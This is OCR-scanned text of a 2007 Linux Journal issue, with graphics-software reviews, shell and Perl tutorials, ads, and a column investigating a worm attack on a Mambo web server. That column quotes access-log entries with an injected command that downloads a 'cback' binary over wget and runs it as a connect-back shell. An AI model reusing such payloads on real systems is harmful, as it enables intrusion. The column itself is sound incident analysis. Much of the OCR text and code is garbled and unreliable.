95. d by and is a registered trade name of Belltown Media Inc PO Box 980985 Houston TX 77098 USA Editorial Advisory Board Daniel Frye Director IBM Linux Technology Center Jon maddog Hall President Linux International Lawrence Lessig Professor of Law Stanford University Ransom Love Director of Strategic Relationships Family and Church History Department Church of Jesus Christ of Latter day Saints Sam Ockman CEO Penguin Computing Bruce Perens Bdale Garbee Linux CTO HP Danese Cooper Open Source Diva Intel Corporation Advertising E MAIL ads linuxjournal com URL www linuxjournal com advertising PHONE 1 713 344 1956 ext 2 Subscriptions E MAIL subs linuxjournal com URL www linuxjournal com subscribe PHONE 1 713 589 3503 FAX 1 713 589 2677 TOLL FREE 1 888 66 LINUX MAIL PO Box 980985 Houston TX 77098 USA Please allow 4 6 weeks for processing address changes and orders PRINTED IN USA LINUX is a registered trademark of Linus Torvalds TOTALVIEW INTRODUCES THE MOST POWERFUL COMMAND FOR THE MULTI CORE AGE i Th TotalView debugger 15 day free evaluation TotalView is the proven debugging solution built specifically to address your unique challenges when developing multi core multi threaded applications As part of a complete suite of proven multi core debugging and performance tools that supports C C and Fortran on Linux UNIX and Mac OS X TotalView 8 1 is the only solut
96. d it expands on the broad file format compati bility of that branch In the intervening years it has grown into a dependable scratch and dust removal program for motion picture films and is now pushing Fis Hep Zo TEREHEPRGEEHE anmann Li yA Pu AAA A AA ud E A jill ie L Figure 1 CinePaint has a UI similar to GIMP toward becoming a proper compositing system It is currently under heavy devel opment in its Glasgow branch while the original branch is more or less stable and being updated only for bug fixes and small feature additions Aside from the basic GIMP feature set CinePaint sports a prop er color management system the very thing whose absence renders GIMP inap propriate for professional and near profes sional work There is also a flipbook player for tracking changes across animations write out to Cineon and OpenEXR and an excellent plugin for assembling High Dynamic Range images from regular snap shots a process called bracketing It is currently the only open source GUI pro gram for Linux that supports bracketing The interface is familiar any GIMP user will feel right at home and its other fea tures make it an indispensable part of any photographer s graphics toolbox Figure 1 However CinePaint s intended market is movie retouching so its feature set for photographers is fairly limited beyond the basics and some of the impressive new features Its early forking from GIMP and its rad
97. d offers more frequent stable updates some former Debian spin offs are switching to Ubuntu as their base But I find it reassur ing to know that Debian keeps getting bet ter slowly but surely and always can go back to it with great satisfaction run the unstable branch of Debian which is a mis nomer if ever there was one The unstable branch is remarkably stable but the name does silence critics if something goes wrong look forward to the Ubuntu based Freespire Linspire and love the new Ubuntu based MEPIS But my favorite Ubuntu spin off is Mint linuxmint com Mint comes with multimedia packages that are non free some of which are illegal but shouldn t be and some that one could argue should be illegal if you don t own a copy of Windows I do Mint saves you the trouble of finding these pack ages and making them work Mint is still stuck on Ubuntu Edgy the latest Ubuntu is Feisty and don t like that But Mint makes GNOME almost enjoyable and like that There s a KDE version of Mint but it lacks the customized Mint tools so it seems pointless right now You can just install KDE on the regular Mint Xandros is still Debian based and it s a great distro The only thing don t like about it is that it uses LILO instead of GRUB which makes it difficult for me to install it as one of many distros work around that fine though Knoppix another distro based on Debian is still amazing when it comes to hardware
98. d parameters passed are position and type dependent Most functions in the SDC Morphology Toolbox operate in 3 D Acknowledgements Special thanks to James Fowler for his contribution in QccPack Thanks also to W Pearlman of RPI and L Granda of PrimaComp for their QccPackSPIHT module And last but not least thanks to the Python SIG group for PIL M Suhas A Desai works with Tech Mahindra Ltd He writes on open source and security In his free time he volunteers for social causes Resources J E Fowler QccPack An Open Source Software Library for Quantization Compression and Coding in Applications of Digital Image Processing XXIII A G Tescher ed San Diego CA Proc SPIE 4115 pp 294 301 August 2000 Expert Included intel Ivan is dedicated to processes that make every server from Silicon Mechanics a model of oU Xeon consistency and reliability The build and quality processes he applies guarantee that your server doesn t ship until it is ready for its intended purpose Ivan likes the Rackform iServ R255 with two Quad Core Intel Xeon Processors 5300 series Its redundant power supply four hot swap drive bays and two PCI expansion slots combine to make it an ideal 1U server for space constrained mission critical deployments He knows the Rackform iServ R255 will take advantage of Intel s proven reliability while providing breakthrough performance and energy efficiency When you part
99. d part of this panel contains the options relating to icon activation Please note that the alternative names for various configuration items is because dif ferent distributions and release versions have used the various names as shown Perhaps the distro that Chris uses has changed various of its KDE feature defaults Alternatively it may have removed these features If so maybe Chris should consider changing distros Rob Strover Correction to Piece about KRUU FM I m one of the members of community radio KRUU LP which you wrote about in your May 2007 issue of Linux Journal see Doc Searls piece in the UpFront section I d like to point out that we re actually Kruufm com and not Kruufm org Kruufm com the radio station is not affiliated with Kruufm org in any way at present Sundar Raman JOURNAL At Your Service MAGAZINE PRINT SUBSCRIPTIONS Renewing your subscription changing your address paying your invoice viewing your account details or other subscription inquiries can instantly be done on line www linuxjournal com subs Alternatively within the U S and Canada you may call us toll free 1 888 66 LINUX 54689 or internationally 1 713 589 2677 E mail us at subsOlinuxjournal com or reach us via postal mail Linux Journal PO Box 980985 Houston TX 77098 0985 USA Please remember to include your complete name and address when contacting us DIGITAL SUBSCRIPTIONS Digital subscriptions of Linux Jo
100. ding in Hecording duration COOKING WITH LINUX X Mhomefmgagoefrecording agg Basic Parameters Capture Sound Telordmydesktop Custom FPS Y 1 Heighil ARD Grab Window After recording open immediately captured vidao with unspecified an kmplayar Figure 5 reKordmydesktop provides a rich easy to use inter face for creating screencasts Note that Istanbul saves in OGG format so If you want something else you have to convert it after the fact using a program like FFmpeg or mencoder fec Record D four tabs Figure 4 In Figure 4 I ve highlighted the Performance tab which controls frames per second on the fly encoding and more Changing settings here makes higher quality screencasts possible but keep in mind that doing this impacts system performance and you may require more horsepower to achieve good results The Files tab has two functions It allows you to define your working directory tmp is the default and it lets you decide whether you want to overwrite files as they are recorded The resulting videos are saved to out ogg Subsequent writes will use out ogg 1 and so on If you would rather have gtk recordMyDesktop overwrite the file each time check the appropriate box on the Files tab Under the Sound tab you can change the number of audio channels the frequency and the audio device loca
101. duces too many new things so it requires some careful explanations Loops One of the Python s looping constructs is for It is designed to iterate over lists sets maps and other iterable objects In this case it takes all the items in self _posts and one by one assigns them to the variable post In the body of the for which is executed on each iteration we can use the variable post The body of the for as with other constructs that need a piece of code is delimited by nothing more than the indentation Here s an example gt gt gt The List 911 252 29 B gt gt gt Tor item im the List print item UJ N e DO Various tasks are solved with a loop One such task is doing some thing for each member of a collection like we did in the previous example For those types of tasks the for construct is excellent Another common practice is to perform an action a given number of times for example printing Hello world three times To do that we can use ssh qe D gt gt gt while a 3 print Hello world a a 1 Hello world Hello world Hello world POP Another loop construct is while and it will continue to run its body until the check that is the expression after while and before the colon becomes false We can rethink the previous loop as iterating over a list containing the numbers 0 9 There s a way to do it with a for construct gt gt gt Tor a in range 0 3 print Hello world
102. e if height gt maxsize o width gt maxsize then if height gt width then we ll want to constrain height factor echo scale 4 maxsize height bc nh maxsize nw echo factor width bc cut d f1 else factor echo scale 4 maxsize width bc nw maxsize nh echo factor height bc cut d f1 fi echo Given width x height scaled to echo nw x nh width nw height nh fi Cool Now if the image is too big we can scale it auto matically and adjust the height and width parameters as needed If it s sufficiently small nothing changes A test run M Given 161x230 scaled to 139x200 M Given 268x202 scaled to 200x150 M Given 567x294 scaled to 200x103 E Given 358x313 scaled to 200x174 E Given 350x350 scaled to 200x199 Last Step Tables for Aligning Things With all of this tucked into the script we can use a skele ton table to organize things neatly In a rough form it ll look like this table border 0 gt lt tr gt td align center gt image lt td gt td align center gt image lt td gt td align center gt image lt td gt lt tr gt lt table gt Dropping it into the script the key block that both dis plays the image scaled and keeps track of when we need to produce a new row in the table is if linecount eq maxperline then new row of table O ipae Directory Utility by Dave ye Tape SS sl minm PSAT screenshot p
103. e done cd done With ImageMagick you have several nice features available for decorating thumbnails and they look impressive Figure 1 Image with Frame 1 Thumbnail with thickness and shadow convert rose jpg matte clone fx DarkSlateGrey repage 0 1 1 A clone repage 1 2 1 A clone repage 1 3 1 A clone repage 2 4 A clone repage 2 5 1 A clone repage 3 6 1 A background none compose DstOver mosaic rose thickness jpg 2 A raised button effect convert raise 8x8 rose jpg rose raised jpg 3 Adding a frame to the thumbnail convert mattecolor peru frame 9x9 3 3 rose jpg rose frame jpg Next let s look at some interesting ways to annotate images with ImageMagick 1 Text on the bottom left corner with a vertical orientation convert rose jpg font helvetica fill white pointsize 20 gravity southwest annotate 270x270 15 0 Nice pink rose rose text jpg 2 Text on a frame montage geometry 0 0 background white fill A brown label Nice pink rose rose jpg rose text jpg Note that you can give any color to the background and fill switches To find which colors are supported by ImageMagick type convert List color 3 You also can watermark like this www linuxjournal com july 2007 71 INDEPTH convert rose jpg font helvetica pointsize 20 draw gravity south fill black text 0 12 Nice pink rose fill white text 1 11 N
104. e uname role Success continue return else 92 july 2007 www linuxjournal com Failure the user does not have the specified role self display error page cgi exit else 4 The user has NOT been authenticated self display login page cgi exit E login tt2 Template Toolkit is an awesome way to create HTML pages could have achieved the same thing with a here document in Perl but this is much cleaner It also allows the template to be executed from both Auth pm and auth login cgi lt p gt Please login to access lt b gt target page lt b gt lt p gt form method POST action cgi bin auth_login cgi gt table tr lt td gt User name lt td gt lt td gt lt input name username gt lt td gt lt tr gt lt tr gt lt td gt Password lt td gt lt td gt lt input name password type password gt lt td gt lt tr gt tr td colspan 2 align right gt lt input type hidden name target_url value target_url gt lt input type hidden name target page value target page gt lt input type submit value Login gt lt td gt lt tr gt lt table gt lt form gt IF error_message lt p style color ff0000 gt lt b gt error message lt b gt lt p gt END E auth login cgi finally here is the key section from the login form handler This is a very simple script if am
105. e adzaar png amazon png 112 x 150 105 x 150 149 x 150 a mre ure HANGIN IN hls dll 150 x 104 dunmmies pro over jpg hentai manga cxample if mt screwed up png 150 x 119 131 x 150 69 x 150 Figure 1 Example echo tr rr linecount 0 Result from the fi New Script echo lt td align center valign bottom gt echo lt a href name img src name border 0 echo alt name height height width width gt echo br name a br height x width lt td gt linecount linecount 1 Now because want to write a highly readable script it s worth highlighting that the top section lets you config ure the heck out of this maxsize 150 max thumbnail size in pixels maxperline 3 max images per table row Both of these constants can be tweaked as needed The result See Figure 1 Sweet The full script is pretty cool If you d like to get a copy of it please pop over to my site www intuitive com wicked imagedir txt Save it as index cgi in an image directory on your Web server I Dave Taylor is a 26 year veteran of UNIX creator of The Elm Mail System and most recently author of both the best selling Wicked Cool Shell Scripts and Teach Yourself Unix in 24 Hours among his 16 technical books His main Web site is at www intuitive com and he also offers up tech support at AskDaveTaylor com www linuxjournal com july 2007 27 COLUMNS
106. e color profiles govern how the pic ture is interpreted and parsed by programs and devices and if you want your colors reproduced accurately across today s myri ad devices your graphics package has to be able to speak several languages NTSC PAL and SEACAM video formats all have peculiar color profiles professional print shops use CMYK different digital cameras use Adobe RGB or sRGB Apple has its own color profile as does SMPTE All of these and more are supported in Krita by default Figure 4 Alas not everything is hearts and flow ers Krita s text tool is primitive like GIMP before its recent improvements it rasterizes text as soon as it s added so it can t be edit ed later Like CinePaint it can t use GIMP fil ters so new plugins have to be written to its architecture Because of this the ability to duplicate some of the basic GIMP filters such as procedural plasma generation simply don t exist yet Still what filters are there do Color Defaut color mode Tor re iret Aa LE6 DE integer charmell Duplay Monitor protis AGD bu Germs reer Bendezing intent Percappual a Printing Color modal KY L1 G bit integerchannel Profle Offset printing according to ISO DIS 12647 2 7004 Profe an Paste Sebet what color proite Ep addi when patting forn esiema ipic actions hat do mot use a color profe Line ACA Le mor bor prone m nk Lise Blackport campensation Figure 4 Krita supports several
107. e image You also may want to try tifftopnm lt scanned image tif pamthreshold threshold 0 8 pamtopnm pnmtotiff gt result tif to get results similar to the older dither utility See the Netpbm docu mentation for more details If your input images are in a format other than TIFF you can of course substitute the appropriate Netpbm tool such as jpegtopnm in the pipeline jpegtopnm scanned image jpg pamthreshold threshold 0 8 pamtopnm pnmtotiff gt result tif Netpbm also includes utilities that allow you to clip out portions of an image Note that most multicolumn formats are very consistent in positioning the columns which means you can automate the transla tion of multicolumn text pretty easily as well For example if you have a two column article scanned at 200dpi you can use The GIMP to locate the x coordinates of the column boundaries Say the first column starts at about 200 and ends at 700 and the second column starts at 800 and ends at 1200 You could add the following to your processing pipeline Resources Tesseract code google com p tesseract ocr The GIMP www gimp org Sane www sane project org Netpbm netpbm sourceforge net Netpbm Docs netpbm sourceforge net doc directory html tifftopnm input tif pamcut left 150 right 750 pnmtorifT gt output leTt ti1f tifftopnm input tif pamcut left 750 right 1250 pnmtotiff output right tif and automate
108. e main Web server for Django is at www djangoproject com and you can download a version from there for your own computer At the time of this writing the latest official version is 0 96 You can download that version in a tar gz file or you can live on the edge a bit getting the latest development version via Subversion svn chose the latter path for this column although if were working on a commercial site might well prefer the stable version As is the case with Ruby on Rails the Django code is not a skeleton Web site so it should not be placed under a directory that is publicly viewable via the Web Rather 18 july 2007 www linuxjournal com the code should be installed like any other set of Python libraries and programs on your server using the standard Python install routine python setup py install Once this installation is complete you can use it to create one or more Django projects The terminology here can be a bit tricky especially if you re coming from the Rails world so be careful A Django project contains one or more applications Each application then contains sets of models views and templates An application can be reused across multiple projects something like plugins or engines in Rails For example you can imagine a calendar application that is used by multiple projects and a portal project that uses several applications for example calen dar e mail and RSS reader that come from elsewhere
109. e paying attention you might notice some thing that looks a little like Istanbul here It s that little red circle sitting in your system tray This similarity isn t entirely accidental Parts of Istanbul are in gtk recordMyDesktop Incidentally another way to start a recording is to click the red system tray icon It then changes to a gray square while you record your session When Neira Quality D m A Mi Suund Quay 10 mm you click it again the recording Advanced Lelt click and drag on the preview image stops and you return to the gtk recordMyDesktop window to select an area fer recording Although there s no preview of Aight click n it ba reser the area Select Window your recording you can save It by clicking the Save As button Let s take a closer look at El Save s guit another part of the interface the Advanced settings Clicking the Figure 3 Creating a screencast with gtk recordMyDesktop is as easy as clicking the Advanced button brings up a more Record button comprehensive settings dialog with What s an article on screencasts without some screencasts to watch To see these tools in action visit Marcel s site at www marcelgagne com ljscreencast html www linuxjournal com july 2007 23 COLUMNS p s5 z Common Settings Encoding Settings Advanced Settings Capture Area Fullscreen Window _ Gustom Whdlh 640 Ghinna Start recor
110. e to its domain The open source renderer BMRT developed by former employees of Pixar was discontinued as part of an infringement settlement in 2002 between Pixar and NVIDIA which had acquired a more sophisticated version of the BMRT render technology from the company Exluna to support Cg GPU rendering CG filmmaking is one of the few places 1L nh so o ss A STARTING A Leonard Technology is enabling artist INTEL BOARDS amp CPUS 100MBPS DEDICATED CISCO Pul E vision like no other time in the history of our business We continue to invest heavily 12002 TUDnI ICHDIIT INCI LINE into rendering techniques such as global A deat illumination to make lighting better and O SANA VT IAS ASS easier The original Shrek movie did not use any global illumination Shrek 2 used it in a CARI NETIL E AMA NN PAAA n EH 0 1 3YU www linuxjournal com july 2007 43 an Open Source Optical Character Recognition Engine Tesseract is a quirky command line tool that does an outstanding job ANTHONY KAY I play with open source OCR Optical Character Recognition packages periodically My last foray was a few years ago when I bought a tablet PC and wanted to scan in some of my course books so I could carry just one thing to school I tried every package I could find and none of them worked well enough even to consider using I ended up using the commercial version of Adobe Acro
111. earce In all of animation in the past you ve seen long hair very little t took months to do the hero hair flick on Shrek 2 notes Visual Effects Supervisor Philippe Gluckman Hair is everywhere in Shrek 3 How hair glides across a shoulder looks easy but is very complicated to model The way the hair moves had to become much more automated says Gluckman There isn t time for animators to position each hair by hand With clothing we have more interac tions including ripping of the cloth says Figure 1 Our print copy of this photo surely doesn t do justice to the astounding detail in the hair of the characters Photo credits all Shrek photos courtesy of DreamWorks Animation LLC Figure 2 Donkey with Shrimp Skewers on Fire Final Lit Version of the Scene 40 july 2007 www linuxjournal com Pearce Fast motion is always difficult In the real world there s only so fast you can move but nobody has told our animators that If you went from 0 to 500 mph in one second you d probably leave some clothing behind in the real world Animation reality is as much art as physics It s Getting Crowded in Here It isn t just the challenge of animating some clothing it s how much clothing We have a lot more characters in the same shot notes Shrek 3 Co Director Raman Hui Shrek 3 has a huge cast with 48 characters says Shrek 3 Director Chris Miller We have huge crowd scenes with 40 to 50 characters on a stage
112. easy maintenance and properly composited with The GIMP scripting into a caramel cake jpg which can be included by the Web site Getting Started Unfortunately some distributions no longer package gimp perl It is available for GIMP 2 x from ftp gimp org and once perl PDL and perl ExtUtils Depends are installed along with GIMP gimp devel and the Perl bindings for GTK 2 x the module itself can be installed using the classic CPAN trio shown in Listing 1 Start The GIMP without a GUI ready to process Perl commands with the following gimp i b extension perl server 0 0 0 amp FREE STUFF YOU ASK OK Send us a postage paid self addressed envelope to the below address and we ll return a handful of Linux and Linux Journal stickers to you free of charge LINUX JOURNAL Attn Sticker promo PO BOX 980985 Houston TX 77098 www linuxjournal com july 2007 59 INDEPTH The scripts shown in this article tend to follow the pattern of tak Listing 1 Compile and install gimp perl ing a single image as input and generating a single output image to try to mimic Linux command line pipes Unfortunately the scripts in perl Makefile PL make this article can t be piped together but rely on temporary image files su 1 to save each image modification The images are passed in using the make install inputimage parameter and the outputimage parameter is used to name where the image is saved for the next script to
113. eatures should we look for in Pixel PK n the near future I m planning to improve PSD import and to add full support for Photoshop plugins also might push for Wine support for the Linux version LJ What are your interests besides taking care of Pixel PK My family and my one year old son are the top priority right now Otherwise I like sports cars and driving When I find some extra time like to play tennis or visit our beautiful natural areas LJ Thank you Pavel and good luck to you with Pixel James Gray is Linux Journal Products Editor and a graduate student in environmental science and management at Michigan State University A Linux enthusiast since Slack 1 0 in 1993 he currently lives in Lansing Michigan with his wife and kitty More information about Pixel as well as prod uct downloads are available at the official Pixel Web site www kanzelsberger com pixel Polywell s Ultimate Linux Systems More Choices Excellent Support Service Great Value 1U Value Servers Starts at 399 Up to 46B RAM 399 1U 485Ax Sempron 3000 1GB DDR2 80GB HD For Volume Purchase Only 499 1U 485Ax Athlon64 3500 2GB DDR2 80GB HD For Volume Purchase Only 699 1U 690GA Athlon64 X2 Dual Core 3800 4GB DDR2 2x80GB HD Dual LAN 45 1299 1U 690GA Athlon64 X2 Dual Core 4200 8GB DDR2 2x80GB HD Dual GigaLAN 45 IU advanced Servers Up to 64GB RAM 41B HD custom config available 2
114. ebgif A inputimage Button nicely merged with green png the brightness or contrast of outputimage Button gif dither 1 depth 64 identity BuLton 21 f each layer Button er Gl 317x213 31 7 x21354070 PseudoClass Images with a 1 Bit Alpha Channel As a first example suppose we have an image file that has full Listing 6 Export to a GIF image with some handy options Do we really 8 bit transparency and we want to export that image as a GIF with need those 8 bits for this image only one bit of alpha mask To make this image look best we first should perform some processing on pixels that are not either fully oe opaque or fully transparent Such semi transparent pixels should sub gif to web be mixed with a desired background color in order not to appear my inputimagename outfilename jagged on the Web site num cols Suse dither 0 The image is a button Figure 3 with the soft shadow blended to my palette type 60 a gray background If this button is exported to an image with a single bit aloha mask without any special treatment it may look poor img Gimp file load inputimagename Aliasing with the gray background will be merged into the exported inputimagename image itself and if the Web site has a different colored background it Gimp convert indexed img use dither will not give a pleasing appearance as shown in Figure 4 Ignoring the palette type num cols 0 1 bad choice of bright g
115. ecial copies of an object that can be moved around scaled or rotated at will but remain linked to it By this we mean that any change to the original is applied to all its clones automatically If you press Shift Alt D a clone is detached from its ancestor and becomes a fully independent object Clones can be tiled Edit Tile to create patterns with many kinds of symmetrical or pseudo random layouts Reflection rotation radial placement and row and column shifting are only a few of the available choices as shown in Figure 5 The History Tool One great thing in Inkscape is its Undo History Not only can you undo all the changes you have made to a file but they also are displayed in a nested mode as shown in Figure 6 which makes it much quicker to go back right to the point you wanted FMM reflection a be PMG reBecbon THO palaton POG gide refect n 1007 rotation CMA refinction reSecbon 146 mig Pa O rmiaton PAM 20 rotabon 45 reaction PG 30 rotation 30 rebechan PE 126 itio F21M recon 120 rozanon dense T imtecian 1 ThE aparan P amp 00 roimion POM reflection 60 rotation a 4 Help Bee f r gt iz usum Pow columns 2 Width height E ai olin al Layers Saar wim 5 verbnm im nyar Layar 1 Glick saleetea o o NN s 0o tn mt t Figure 5 Fill and Stroke Applied to the Object on the Bottom of the Image 50 july 2007 w
116. ect to other positions darkness fell in two forms First was dismissive nonconversation about the subject on other blogs Second was the time suck that the whole discussion turned into In the midst of that a reporter with NPR also a blog ger of far more prominence than my own asked me if I d be willing to share my thoughts about the Cho files in an interview So did As an old Radio Guy thought did a pretty good job So did the interviewer blogger But did I shed much light Did anybody don t know When I heard myself on the radio had to admit that sounded like yet another talking head As look around the blogo sphere for illumination on the matter can t find much Did we learn anything Not much don t think When blogging came along welcomed it as a big advance over other public discussion systems such as Usenet and IRC for three reasons First nearly every blog is controlled by an individual It is that person s soap box pulpit personal journal Second blogs are syndicated meaning that others can subscribe to their feeds or to searches for subjects that might lead readers to a blogger s original thinking on a subject And third blogging seems especially well suited to what called rolling snowballs That s what happens when a good idea gets rolling and then is enlarged by others who add to it Blogging also has a provisional quality You don t have to hold down one corner of a debate like the
117. ecute no trans for pid 9401 comm sh name cback dev dm 0 ino 852100 scontext user_u system_r httpd_sys_script_t Econtext User tU ob ect NEtpd sys Ser ipt iw _t we lass t ive Listing 4 Verification of Worm Activity on Nearby Server erep 10 9 233 25 var log httpd www pkrinternet com access_log 10 9 233 25 04 May 2006 07 52 21 0400 KGET index2 php option com content amp do pdf 1 amp id gt lindex2 php REQUEST option com content amp REQUEST Itemid 1 amp GLOBALS amp mosConfig absolute path whttp 172 16 31 57 cmd gif amp cmd cd 20 tmp gt ywget 20172 16 31 57 cback chmod 20744 20cback cback 2010 200 238 39 208080 echo0 20YYY echo HiRes 12494290 Mozilla 4 0 compatibles MSIE 670 Windows NT 5 1 10 9 233 25 04 May 2006 07252221 0409 GET index php option com content amp do pdf 1 amp id 1index2 php REQUEST option com_content amp _REQUEST Itemid 1 amp GLOBALS amp mosConfig absolute path whttp 172 16 31 57 cmd gif amp cmd cd 20 tmp mweet 20172 16 31 57 cback chmod 20744 20cback cback 2010 200 238 39 208080 echo 20YYY echo HITP T 1 404 289 Mozilla 4 0 compatible MSIE 6 0 Windows NT 5 1 output trimmed vulnerable hosts rather than working through a list of hostnames The modification time on the cback file was Feb 5 2005 That was probably the modification time of the file on the remote system that wget retriev
118. ed wget normally resets the modification time of 86 july 2007 www linuxjournal com Listing 5 Investigating File Timestamps for x in atime access status use do gt echo n x gt ls l time x tmp cback gt done rbulling targetbox for x in atime access status use mtime do gt echo n x ls l time x tmp cback gt done atime rwxr r 1 apache apache 13901 May 6 11 33 tmp cback access rwxr r 1 apache apache 13901 May 6 11 33 tmp cback status rwxr r 1 apache apache 13901 May 4 07 52 tmp cback use rwxr r 1 apache apache 13901 May 6 11 33 tmp cback files it downloads to match their original modification times Listing 5 shows how to interrogate all the timestamps on a file The cback binary probably was created at 07 52 AM on May 4 corresponding to the wget command injection attack That was the last time the file attributes were modified Although UNIX does not allow you to retrieve the true creation time of a file the status time often can stand in for that The other times corre spond to the times of my own initial investigations of the cback file If had been more careful could have done this ls command before reading the cback file at all so that the atime access and use times would have been those the attacker had set What Hit Me Because this looked like a worm attacking Mambo a search on mambo worm on Google found references to the attack including articles fr
119. ed for further suspicious SELinux enforcement messages Listing 3 contains the lines that matched the times of the Web server attacks This appeared to be a worm because www pkrinternet com on a different machine but the same subnet also had requests from 10 9 233 25 at around the same time as Listing 4 shows Lines showing further attacks similar to the trace on stockpot versus Mambo xmlrpc php drupal and phpgroupware also appeared in this grep The worm made requests only to the default virtual host so it s likely that the worm was not using the Host virtual host head er in its requests This indicates that it was scanning IP subnets for Listing 2 Attack Traces in Web Server Access Log a Pepe LOS 259 275 OO exploit log I Nar los httpd access 108 10 9 233 25 gt 04 May 2006 07 52 21 0400 EGET index2 php option com content amp do pdf 1 amp id lindex2 php REQUEST option com content amp REQUEST Itemid we 1 amp GLOBALS amp mosConfig absolute path whttp 172 16 31 57 cmd gif amp cmd cd9 20 tmp gt ywget 20172 16 31 57 cback chmod 20744 20cback gt cback 2010 200 238 39 208080 echo 20YYY echo HITP isl 200 594 Mozilla 4 20 compatible MSIE 6 0 Windows NT 5 1 sNag los httpd access l08 10 9 233 25 gt 04 May 2006 07 52 24 0400 GET mambo index2 php REQUEST option com content amp REQUEST Itemid 1 amp GLOBALS amp mosConfig absolute path whttp 172 16 31 57 cmd gif
120. embedded hidden values to keep track of the originally requested destination page The results of the login attempt are sent to auth login cgi Create sossi n EIE Display screen access denied E auth error tt2 renders an error page letting users know that they don t have the required authorization to access the script JL Exit and mume eT ipt execution Figure 5 Auth pm Flowchart W auth login cgi responsible for the simple task of authenticating the user and restarting the access checking In our case it connects to the LDAP system and looks to see if the given login information is correct If it is then this fact is saved in a session cookie and the originally requested CGI script is re executed Here are the most important sections of each file E auth pm The heart of this module is the require role method It contains the control logic for the whole process In my implementa tion use CGl pm in the OO style so pass it in as a parameter Notice how the use of return vs exit controls the user s experience sub require role 1 Ensure that the user is logged in and has the specified role my self shift my role shift my cgi shift if role confess No role was specified if cgi confess No CGI object was given my uname self gt get_authentication_info if uname The user has been authenticated if self gt user_has_rol
121. enables one platform to meet the needs of multi tasking and multi threaded environments provides platform longevity Polywell OEM Services Your Virtual Manufacturer Prototype Development with Linux FreeBSD Support small Scale to Mass Production Manufacturing Fulfillment Shipping and RMA Repairs Polywell Computers Inc 1461 San Mateo Ave South San Francisco CA 94080 650 583 7222 Fax 650 583 1974 Opteron Sempron and ATHLON are trademarks of Advanced Micro Devices Inc Quadro nForce and Nvidia are trademarks of NVIDIA Corporation All other brands names are trademarks of their respective companies 1 999 1U 690S4 Athlon64 X2 Dual Core 500 8GB DDR2 m 39 999 1U 8450SS 4 x Opteron 8214 Dual Core 128GB ECC DDR2 Linux Appliance starts at 299 Poly 485Ax Sempron 3000 512M DDR2 ATI X1100 Graphics 100Mbit LAN DVD 160G HD 299 For Volume Purchase Only Poly 690GA Athlon64 X2 Dual Core 3800 1G DDR2 ATI X1250 DVI VGA GigaLAN DVD RW 500GB HD 499 OEM ODM Service Available Low Cost NAS Storage 2 0TB Starts at 999 999 Netdisk 4000 2 0TB 4x500G 1 550 Netdisk 6000 3TB 6x500G 2U 6TB 2U Storage Server 2012SC 2055A 4TB 8x500G Opteron 6TB 12x500G Opteron 2 999 3 999 18TB 4U Storage Server 4024AIS 2500A16 12TB 24x500G Opteron 7 500 18TB 24x750G Opteron 11 999 20 Years of Customer Satisfaction a 5 Year Warranty Industry s Longest First Class Customer
122. ent we are seeking local partners and assisting them in their efforts to promote Linux and Open Source professionalism We encourage you to contact our new regional partners listed above Together we are growing a world of Linux Professionals O Linux Professional Institute Stable Innovative Growing e 9e LPI Japan LPI China INDEPTH With all the pieces in place we re ready to go Here s a simple Perl CGI script that we want to try to protect usr bin perl use Cal my q CGI gt new print q gt header print lt lt EUOR html body bgcolor ee3333 gt lt p align center style color white gt This is a TOP SECRET page lt p gt lt body gt lt html gt EOF It creates the output shown in Figure 6 But now let s modify it to use the new framework usr bin perl use CGI use Auth my q CGI gt new my a LC Auth gt new a gt require_role top secret stuff q print q gt header print lt lt EOF html body bgcolor ee3333 gt lt p align center style color white gt This is a TOP SECRET page lt p gt lt body gt lt html gt EOF After making this simple change reloading the browser now shows the same URL but instead of the top secret contents we see a login form Figure 7 Logging in correctly will do several things in the blink of an eye send the information to auth_login cgi which will verify it and then store
123. environment and a lot of pages you really will want to automate the image cleanup as much as possible recommend using Netpbm for this purpose preferably version 10 34 or later as those versions come with a more powerful threshold filter Unfortunately this is not considered a super stable version so many systems will have an older version If you are using an older version you might get acceptable results with a pipeline of commands like this tifftopnm scanned image tif pamditherbw threshold value 0 8 A pamtopnm pnmtotiff gt result tif This chain of four commands reduces the color palette to black and white and saves the result as an uncompressed TIFF image The number passed to the value parameter of pamditherbw defaults to 0 5 and can range from O to 1 and it corresponds to the slider used earlier in The GIMP In this case higher numbers make the image darker Netpbm 10 34 and higher includes a more advanced threshold utility pamthreshold which can do a better job on images where the lighting varies over the page In this case the command chain would be tifftopnm lt scanned image tif pamthreshold local 20x20 pamtopnm pnmtotiff gt result tif There are several alternatives for options of pamthreshold The local option allows you to specify a rectangular area that is used around each pixel to determine local lighting conditions in an attempt to adapt to changing lighting conditions in th
124. ername Handle the login form elsif auth user has role username news editor Show error message and exit Sure that could be simplified a bit for example by implementing a current user has role method But it s still procedural telling the computer what to do Instead we can reduce this to one line by telling the computer declaring what we want auth require role news editor This require role method means this role is required to get any further and it gives a very simple guarantee execution will proceed Aides Vt Wess Firefox Be tdt Mew glory Beckmads pee Hep l A i dm gE E e http 192 168 0 2 ioden roest el pel cus J v Hsu earth Ls er A Listing Admin Roles Harris Da oni pion Users Haws The rola far pecple whe manage rode Edit Dela Am th varus Campus ns cbaker publications Provides access t bhawtherne all applications for creating editing and deletng news content Blog Prowubes access to th internal chaker Edit D Manager blog management applications bhaw thoma res XI Bi UM adm GN x I H Figure 3 Admin Application Role Listing Thinkin wi Wohn EIS Be Edt em Hey pome Tool Help dm r i _ bhp 192 168 0 2 3000 0dmmn resedi eO Hal H L Editing admin role Name News Admin Users E bhawthome Descnption E chaber The role for paople who manage the various E rabb campus news publications Provides access El
125. es or 3 D reliefs for better visual appeal Usually they look nice on Web pages with a white background Another nice to have feature is to be able to generate black and white photo equivalents Of course in addition to all this if users want to download the original untouched pristine photo in full size they should be able to do so It might be worthwhile to provide a download link for all the photos in one single zip file For people who don t like clicking on each of the thumbnails you can provide a slideshow But on Linux you can do much better You can create a full fledged video with sound effects prefer a nice MIDI tune appropriate for the occasion and mood of the snaps This has a side benefit of being directly writable to DVD too But before this it s a good idea to create vertical and horizontal mirror images of each of the photos That way the video has a better flow and visual appeal It so happens that this is extremely easy to do with the Linux command line and ImageMagick You might have other requirements such as correcting the exposure brightness or contrast cropping out certain parts of the image or doing photo retouching with more interesting effects Again ImageMagick can do the trick as can giv and other image display tools To correct images you might prefer an interactive tool such as The GIMP or tgif Other possibilities exist such as creating a mosaic of images anno tated with nice fonts but
